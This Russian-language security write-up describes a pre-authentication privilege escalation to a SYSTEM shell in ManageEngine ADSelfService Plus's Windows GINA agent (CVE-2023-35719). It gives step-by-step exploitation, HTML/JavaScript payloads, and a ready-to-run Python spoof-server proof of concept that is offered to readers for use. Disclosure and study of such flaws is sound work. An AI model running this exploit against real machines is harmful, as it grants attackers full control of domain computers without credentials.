Повышение привилегий до SYSTEM через ADSelfService в конфигурации по умолчанию
ManageEngine ADSelfService Plus предоставляет интегрированное решение для самостоятельного управления паролями и единого входа. Данное решение помогает пользователям домена выполнять самостоятельный сброс пароля, самостоятельное разблокирование учетной записи, самостоятельное обновление личных данных сотрудника (например, номера мобильного телефона и фотографий) в Microsoft Windows Active Directory.
Подписывайся на AD_POHEQUE и ставь 👾
ADSelfService Plus устанавливает локальный агент (надстройка для Windows GINA) на управляемых компьютерах домена Windows, который можно использовать для сброса паролей пользователей Active Directory непосредственно с экрана входа.
GINA
Библиотека динамической компоновки (DLL) графической идентификации и проверки подлинности. GINA — это заменяемый компонент DLL, который загружается исполняемым файлом Winlogon . GINA реализует политику проверки подлинности интерактивной модели входа и, как ожидается, будет выполнять все идентификации и проверки подлинности взаимодействия с пользователем.
Данная уязвимость позволяет атакующему получить командную оболочку c привилегиям SYSTEM дедовским методом кликнув на
Browse -> C:\Windows\System32\cmd.exe на этапе предаутентификации. 😎
Похожая уязвимость была обнаружена Bhadresh Patel в 2020 году и исправлена в версии 6.0 сборка 6003.
Подтверждено, что данная уязвимость работает вплоть до версии ADSelfService Plus4.2.9
, 2012 года выпуска, и вплоть до последней версии 6.3 Build 6301
на момент написания статьи (2023-06-23).
Если мы щелкнем на любой из опций в красных рамках выше, мы получим следующий экран, который позволяет сбросить пароль пользователя домена:
Очевидно, что это работает во встроенном окне браузера. Что произойдет, если мы отключим сеть и GINA не сможет достичь сервера ADSelfService Plus?
Что произойдет, если мы нажмем "Искать этот сайт в Bing"?
Можно вспомнить золотые техники дедов и попытаться проэкслуатировать простой вектор атаки: перейти в Bing, попытаться найти диалоговое окно для открытия файла и просто запустить cmd.exe от имени SYSTEM!
К сожалению, так просто не получится. Появляется всплывающее окно с надписью "External URL access is denied.", и окно закрывается. Ни одна из комбинаций клавиш Internet Explorer не работает, поэтому мы не можем открыть диалоговые окна, использовать сочетания клавиш + CTRL, нажимать клавиши F, "Просмотреть исходный код" и т. д.
Но заметьте, что нашей устройство пытается установить связь с сервером adselfservicepwn.com на порту 8888.
Подключим компьютер к другой сети, которую мы контролируем, вне обычной сети домена. Здесь есть много вариантов, мы можем подключить Ethernet-кабель или просто выбрать подконтрольную нам сеть Wi-Fi на экране входа. На сетевое подключение (по умолчанию) нет ограничений на экране предаутентификации входа Windows.
Подключившись к сети, которую мы контролируем, мы можем подменить сервер adselfpwnplus.com и снова вызвать экран сброса пароля.
Когда GINA пытается получить доступ к хосту adselfpwnplus.com, она отправляет следующий GET запрос:
GET /AgentStatusUpdate.cc?status=adssp_admin_gina_install_success&machineName=<MACHINE_NAME> &domainName=<DOMAIN_NAME>&version=5.9&defUser=ADSELFPWNPLUS\normaluser& HTTP/1.1
Давайте предоставим AgentStatusUpdate.cc на нашем поддельном сервере и отправим:
Похоже, что что-то удалило наше диалоговое окно файла, осталась только строка hello. И это происходит практически с любой техникой, которую можно придумать:
<a href="C:\windows\" /a>Директорию Windows не открыть</a> <script>document.write('<input/type=file>')</script> <input type="file" id="myfile" name="myfile"> <a href="mailto:[email protected]">Это не работает</a> <a href="file:///c:\">тем более не работает</a>
Отображаемый HTML, отображаемому во встроенном окне браузера GINA, имеет какой-то черный список тегов или удаляет потенциально рисковый пользовательский ввод. Но была обнаружена годная статья "Give me a browser, I'll give you a Shell" от Rend, в которой говорится:
Если инструменты разработчика отключены по какой-либо причине, вы можете использовать один интересный протокол: javascript. Если браузер основан на Chromium, вы можете ввести это в строке URL и получить желаемый результат: javascript:document.write('<input/type=file>')
<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>
Поскольку встроенный браузер - это Microsoft Edge (браузер по умолчанию в Windows 10), основанный на Chromium, мы получаем ссылку, на которую можно нажать (ПРИМЕЧАНИЕ: автор попробовал это в Windows 7 с Internet Explorer 11, и это тоже сработало!):
Мы нажимаем на нее и, НАКОНЕЦ, у нас появляется наше диалоговое окно файла!
Теперь эксплуатация тривиальна: просто перейдите в C:\Windows\System32 и найдите cmd.exe:
Щелкните правой кнопкой мыши, нажмите "Открыть" и вот GINA дает нам оболочку SYSTEM перед аутентификацией!
К слову, более старые версии ADSelfService Plus НЕ блокируют поиск в Bing и не блокируют диалоговые окна HTML-файлов, предоставляя нам еще два способа получить нашу оболочку. Это подтверждено работой хотя бы на версии v4.2.9.
- Черные списки не работают.
- Очень сложно обезопасить встроенные браузеры в операционной системе Windows.
- ManageEngine (разработчики ADSelfService Plus) - это куча говна, которая постоянно взламывается как минимум с 2014 года.
- За годы несколько других исследователей также обнаружили критические уязвимости в продуктах ManageEngine.
Не сомневаюсь, что ты в силах написать свой код для эксплуатации, но если вдруг сегодня не день Бэкхема, держи код на python ;)
#!/usr/bin/env python3 # # Python HTTP server for exploiting CVE-2023-35719 / ZDI-23-891 # Auth Bypass to SYSTEM shell in ManageEngine ADSelfService Plus Windows GINA Client # https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/adselfpwnplus/adselfpwnplus.md # # By: # # Pedro Ribeiro ([email protected]|@pedrib1337) # João Bigotte # Ashley King # # Agile Information Security (https://agileinfosec.co.uk) from http.server import BaseHTTPRequestHandler, HTTPServer # HTTPRequestHandler class class CustomRequestHandler(BaseHTTPRequestHandler): # GET def do_GET(self): # Send response status code self.send_response(200) # Send headers self.send_header('Content-type','text/html') self.end_headers() # Send message back to client message = "<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>" # Write content as utf-8 data self.wfile.write(bytes(message, "utf8")) print("done") return def run(): print('starting server...') # enter your listening address and port here for the ADSelfService Plus server spoof # do not forget to add a dns entry for your domain name to point to this IP server_address = ('13.33.37.1', 8888) httpd = HTTPServer(server_address, CustomRequestHandler) print('running server...') httpd.serve_forever() run()